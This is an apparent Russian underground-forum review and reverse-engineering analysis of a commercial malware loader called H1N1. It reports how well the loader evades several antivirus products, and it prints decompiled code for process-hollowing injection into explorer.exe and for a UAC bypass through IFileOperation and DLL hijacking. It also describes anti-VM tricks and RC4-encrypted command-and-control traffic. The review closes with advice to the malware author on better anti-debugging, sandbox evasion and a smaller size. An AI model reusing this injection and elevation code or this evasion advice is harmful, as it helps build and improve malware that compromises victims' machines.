-----------intro-----------
Добрый день дорогие друзья!
Тяжело... Тяжело что-то садиться писать после столь долгого перерыва.
Но сказать вам честно и не о чем было особенно писать. Заплыли жирком былые кодеры, а новых как-то земля не народила... Да и за прошедшее время по-растерялись мои друзья/помощники, источники различных плюшек и идей, так необходимых для проведения тестов.
Ладно... Сопли в торону. Появился таки у нас пациент для рассмотрения и детального анализа. И пусть это банальный лоадер, но тем не менее он вызвал своим появлением массу всяческих обсуждений на форумах. Начнем с того что это asm. Таки редкость в наши дни.
Знакомимся H1N1 Loader от кодера с ником Phobos.
Кратко посмотрим что имеется у нас:
1. НЕ резидентный лоадер
2. обход топовых проактивных защит/HIPS
3. обход UAC
4. выход из LOW INTEGRITY LEVEL
5. детект запуска внутри вируальных машин
6. небольшой вес (17 кб)
7. Цена: 500 $
Более подробно можно в топе почитать.
-----------install-----------
Админка в архиве 924 кб.
Распакованная 1,8 М.б. (90 файлов 22 папки)
Написана с использованием Bootstrap и Jquery.
Заявленные требования:
В этой части и писать-то нечего. Админка простая, имеет свой инсталлятор. Просто заливается на хост, создаем пользователя + бд. Даем доступы. Сэйвим названия и пароли и запускаем install.php. Разворачивание админки заняло у меня секунд 40. Легко и просто.1. php >= 5.4
2. mysql
3. pdo
4. pdo_mysql
5. ctype
6. mbstring
7. curl
Рис.1 Рис.2 Рис.3 Рис.4 Рис.5
-----------test proactiv-----------
C чего же начать наше исследование? Ну давайте начнем с теста на проактивки.
Тестировать все очень долго. Тем более, что заявлено не малое количество АВ, о большинстве из которых я даже не слышал. В принципе имеются несколько мировых продуктов защиты, которых многими считаются топовыми. Для своих тестов я выбрал win7 x32 с последними обновлениями. Завел в ней пользователя с обычным уровнем привилегий и сел выкачивать необходимые мне для тестов АВ.
Имеем на руках два крипта от разных криптеров. Тест проводится на первом крипте. Если проблема - тестируется на втором.
KIS - выдало блокировку, затем два всплывающих сообщения (заскринить не успел). В админку не отстучался.
KIS - тест2. Перехват сработал. Задетектило PDM
nod32 - чисто. Отстучался без любых окон и сообщений. В админке написало, что права админские.
avira - спалился крипт.
avira - Test2. Отстучался. Без любых окон и сообщений. В админке написало, что права админские.
Outpost SS - чисто. Отстучался. Без любых окон и сообщений. В админке написало, что права админские.
-----------reverse-----------
Сэмлы с отключенными механизмами защиты и антиотладки были переданы нашему модератору и моему старому другу el-. Читаем результаты:
-----------EL-----------
H1N1 он же испанка, в свое время унесший жизни более трети населения земли, в 2009 году он снова вернулся как свинной грипп и забрал еще немного жизней. На самом деле он конечно и до этого появлялся, но эпидемии не переросли в пандемии, так что не считается. Такое название автор дал своему лоадеру, если уж придираться то не подходит, грипп же это вирус, а лоадер это все таки самостоятельная единица, так что надо было что то из бактерий выбрать, благо там тоже есть интересные экземпляры, чего стоит только сибирская язва. Ну да ладно, давайте все таки к делу.
Все видимо написано на ассемблере, код отчасти обфусцирован, хотя мб он просто так собран, что все строки двордами укладываются в буфер, или вот часть апи находится по хешам, хотя часть забита в импорт, не знаю какой в этом смысл, но он видимо есть.
Со старта, первым делом находит следующие kernel32 апи, создает два потока и ожидают пока они закончат работу.
Код:
004060C8 7C82FF06 kernel32.ConvertThreadToFiber
004060CC 7C82FF9F kernel32.CreateFiber
004060D0 7C802336 kernel32.CreateProcessW
004060D4 7C8106C7 kernel32.CreateThread
004060D8 7C865B1F kernel32.CreateToolhelp32Snapshot
004060DC 7C8099B0 kernel32.GetCurrentProcessId
004060E0 7C80B465 kernel32.GetModuleFileNameW
004060E4 7C80B731 kernel32.GetModuleHandleA
004060E8 7C80AEF5 kernel32.GetVersionExW
004060EC 7C80AE0B kernel32.GetWindowsDirectoryW
004060F0 7C864DF5 kernel32.Process32First
004060F4 7C864F68 kernel32.Process32Next
004060F8 7C8021D0 kernel32.ReadProcessMemory
004060FC 7C83290F kernel32.ResumeThread
00406100 7C802446 kernel32.Sleep
00406104 7C810702 kernel32.SwitchToFiber
00406108 7C80A0ED kernel32.WaitForMultipleObjects
И так создается два потока, первый поток, создается с флагом CREATE_SUSPENDED и его хендл уходит параметром во второй поток, который дергает три функции антиотладки и отпускает первый поток по средством ResumeThread. Не надо так делать, антиотладку, она ничего не антиотладит, её просто занопят и все, если вы хотите удивить реверсера, попробуйте влиять на ход работы в этих функциях, что бы их нельзя было просто вырезать, и дергать их разных мест, как можно чаще.
Продолжив работу первый поток, конвертирует поток в фибер ( интересно зачем ) и передает управление дальше, на основную функцию.
Код:
result = ConvertThreadToFiber_dword_4060C8(mainFunction);
if ( result )
{
result = CreateFiber_dword_4060CC(0, mainFunction, 0);
if ( result )
{
SwithToFiber_dword_406104(result);
result = mainFunction();
}
}
Основная функция поднимает advapi32 и получает из нее обходимые функции, проверяет версию винды и текущий IL процесса.
Код:
0040604C 77DE5530 advapi32.GetSidSubAuthority
00406050 77DE5562 advapi32.GetSidSubAuthorityCount
00406054 77DD72F5 advapi32.GetTokenInformation
00406058 77DD797B advapi32.OpenProcessToken
0040605C 77DD6C17 advapi32.RegCloseKey
00406060 77DD7936 advapi32.RegOpenKeyW
00406064 77DDEAD7 advapi32.RegSetValueExA
При проверке версии вызывается GetVersionExW, которая в моем билде выдает ошибку ERROR_INSUFFICIENT_BUFFER, не правильно выставлен dwOSVersionInfoSize, я просто занопил эту проверку что бы посмотреть что там дальше. А дальше собственно запуск ShellExecuteExW в цикле с командной строкой wmi create process "%s", где %s путь до экзе. Выглядит это так:
И в развернутом виде:
Переходим к инжекту, для него необходимы следующие ntdll api, кто по их списку угадает какой инжект будет юзать этот лоадер ? ;D Надо сказать что непосредственно перед инжектом, в реестр пишутся какие то данные, а так же собирается шеллкод, который передается в функцию инжекта.
Код:
00406018 7C90CFD0 ntdll.ZwClose
0040601C 7C90D160 ntdll.ZwCreateSection
00406020 7C90D500 ntdll.ZwMapViewOfSection
00406024 7C90D7E0 ntdll.ZwQueryInformationProcess
00406028 7C90DEF0 ntdll.ZwUnmapViewOfSection
Дальше запускается explorer из syswow64 на х64 осях и из system32 на x86, из процесса которого сначала анмапится сам эксплорер, а потом заново мапится, только с переписанным шелкодом entrypoint'ом.
Код:
if ( CreateProcessW_dword_4060D0(0, a1, 0, 0, 0, CREATE_SUSPENDED, 0, 0, &v14, &procInfo) )
{
v11 = v6;
v7 = &pbi;
for ( j = 24; j; --j )
{
LOBYTE(v7->ExitStatus) = 0;
v7 = (v7 + 1);
}
if ( !ZwQueryInformationProcess_dword_406024(v11, procInfo.hProcess, 0, &pbi, 24) )
{
if ( ReadProcessMemory_dword_4060F8(procInfo.hProcess, &pbi.PebBaseAddress->ImageBaseAddress, &v25, 4, &v24) )
{
v23 = LocalAlloc(0x40u, 0x500u);
if ( v23 )
{
if ( ReadProcessMemory_dword_4060F8(procInfo.hProcess, v25, v23, 1280, &v24) )
{
v9 = (v23 + v23->e_lfanew);
entryPoint = v9->OptionalHeader.AddressOfEntryPoint;
sizeOfimage = v9->OptionalHeader.SizeOfImage;
hMem = LocalAlloc(0x40u, sizeOfimage);
if ( hMem )
{
if ( ReadProcessMemory_dword_4060F8(procInfo.hProcess, v25, hMem, sizeOfimage, &v24) )
{
v16 = 0;
v15 = sizeOfimage;
if ( !ZwCreateSection_dword_40601C(&v21, 983071, 0, &v15, 64, 134217728, 0) )
{
v20 = 0;
v19 = sizeOfimage;
if ( !ZwMapViewOfSection_dword_406020(v21, -1, &v20, 0, 0, 0, &v19, 1, 0, 64) )
{
if ( !ZwUnmapViewOfSection_dword_406028(procInfo.hProcess, v25) )
{
memcpy(hMem + entryPoint, a2, a3);
memcpy(v20, hMem, sizeOfimage);
v20 = v25;
if ( !ZwMapViewOfSection_dword_406020(
v21,
procInfo.hProcess,
&v20,
0,
0,
0,
&sizeOfimage,
1,
0,
64) )
{
if ( ResumeThread_dword_4060FC(procInfo.hThread) != -1 )
v3 = 1;
}
}
}
ZwClose_dword_406018(v21);
}
}
LocalFree(hMem);
}
}
LocalFree(v23);
}
}
}
Шелкод, получая все необходимые апи, читает то, что писалось в реестр, это оказывается не что иное как поксореный и упакованный бинарник, который этим же шелкодом разворачивается и настраивается в памяти.
Сам бинарник представляет из себя dll, которая несет всю полезную нагрузку лоадера, вначале он ищет много много полезных апи, а потом чекая хеш имени файла с которым запущен процесс и если это эксплорер, то следует попытка повысить привилегии.
Чекает версию винды и тут кстати нет этого бага с GetVersionExW, про который говорилось ранее, дальше чекает IL и если все в порядке непосредственно пытается поднять привилегии, с medium до high за счет подмены dll с помощью IFileOperation. Для этого используется bthudtask.exe и newdev.dll, dll предварительно копируется и патчится шелкодом, дальше все это дропается system32\setup и пускается по средством ShellExecuteEx. Ниже пример функции копирование через IFileOperation.
Код:
if ( !CoInitialize_dword_100052A0(0) )
{
v4 = LocalAlloc_dword_10005148(64, 256);
v13 = v4;
if ( v4 )
{
*v4 = 7077957; // Elevation:Administrator_new:{3AD05575-8857-4850-9277-11B85BDB8E09}
// … skipped ...
*(v13 + 46) = 33;
v5 = &v9;
for ( i = 36; i; --i )
{
*v5 = 0;
v5 = (v5 + 1);
}
v9 = 36;
v10 = 4;
v14 = 0;
if ( !CoGetObject_dword_1000529C(v13, &v9, &IID_IFileOperation_stru_10003609, &v14)
|| !(CoCreateInstance_dword_10005298)(
&CLSID_FileOperation_stru_100035F9,
0,
7,
&IID_IFileOperation_stru_10003609,
&v14) )
{
if ( v14 )
{
v7 = v14;
if ( !(*(*v14 + 20))(v14, 0x10840014u) )
{
v12 = 0;
if ( !SHCreateItemFromParsingName_dword_100054B2(a1, 0, &IID_IShellItem2_stru_100035E9, &v12) )
{
if ( v12 )
{
v11 = 0;
if ( !SHCreateItemFromParsingName_dword_100054B2(a2, 0, &IID_IShellItem2_stru_100035E9, &v11) )
{
if ( v11 && !(*(*v7 + 64))(v7, v12, v11, a3, 0) && !(*(*v7 + 84))(v7) )
v3 = 1;
}
}
}
}
}
}
LocalFree_dword_1000514C(v13);
}
CoUninitialize_dword_100052A4();
}
Далее не совсем понятный код, а именно перечисляются процессы, от их имени получается хеш, который сравнивается со своей таблицей, и если есть совпадение, то, процесс открывается, но не для инжекта, а для получения пути до его экзе через psapi!GetModuleFileNameEx. Этот путь позже используется для старта нового процесса и инжекта в него, тем же способом что и раньше, какой в этом смысл не ясно. И после этого получается путь до дефолтного браузера из реестра ( eсли с дефолтным браузером что то не получается, запускают старый добрый svchost ), его пускают и тоже делают инжект, может быть это повышает вероятность срабатывания, т. е. на текущей позиции имеем уже три запущенных процесса с кодом, возможно это какие то фейковые инжекты, дабы запутать реверсера или песочницы.
После всего этого попадаем на вариант исполнения, где собственно будет сам лоадер, сначала опять чекаются процессы по списку хешей, в которые в прошлом совершался инжект и теперь если такие есть, в них суспендятся все потоки, тут уже явно напрашивается, что это какое то противодействие машинам.
Далее из реестра удаляется, тот поксоренный модуль, который собственно исполняется, получаются необходимые для взаимодействия по хттп апи.
Код:
002C523C 76E12BEC WININET.HttpAddRequestHeadersA
002C5240 76E5B921 WININET.HttpOpenRequestA
002C5244 76E0E2F2 WININET.HttpQueryInfoA
002C5248 76E6525A WININET.HttpSendRequestA
002C524C 76E0C81C WININET.InternetCloseHandle
002C5250 76E5B83E WININET.InternetConnectA
002C5254 76E1D794 WININET.InternetOpenA
002C5258 76E0702D WININET.InternetQueryOptionA
002C525C 76E0FA90 WININET.InternetReadFile
002C5260 76E097DF WININET.InternetSetOptionA
Походу делаются какие то фейк отстуки, а после собирается необходимая инфа о системе, и делается запрос за контентом.
Содержимое хттп запросов шифруется RC4 и длинна содержимого передается в хттп хидере, что конечно зря.
Код:
if ( HttpQueryInfoA_dword_10005244(a1, HTTP_QUERY_RAW_HEADERS_CRLF, v14, &v15, 0) )
{
v3 = sub_100010AA(вырезано by Ar3s);
Имеются два типа содержимого FILE и LINK, в зависимости от IMAGE_FILE_HEADER.Characteristics содержимое либо настраивается в памяти в случае dll, либо дропается и запускается процессом, после рапорт о проделанной работе и завершение.
Хотелось бы сделать пару замечаний, первое насчет инжекта, он как бы не должен обходить то, что заявлено, так что тут несколько вариантов, либо ав и фв сжалились, снизив жесткость проактивных защит с того времени как появился этот инжект, либо дело в том что изначально все это исполняется в потоке который конвертируется в фибер, либо автор просто лукавит. И второе, я бы посоветовал, выбрать один из путей, либо это затруднения анализа и вменяемая антиотладка и обфускация, к тому же не забыть, про то, что сейчас все делается роботами, так что надо противостоять сандбоксам и т. д. системам автоматического анализа. Либо выкинуть все это и сконцентрироваться скажем на размере, скинуть еще пару кило, вроде мелочь, но многим будет приятно.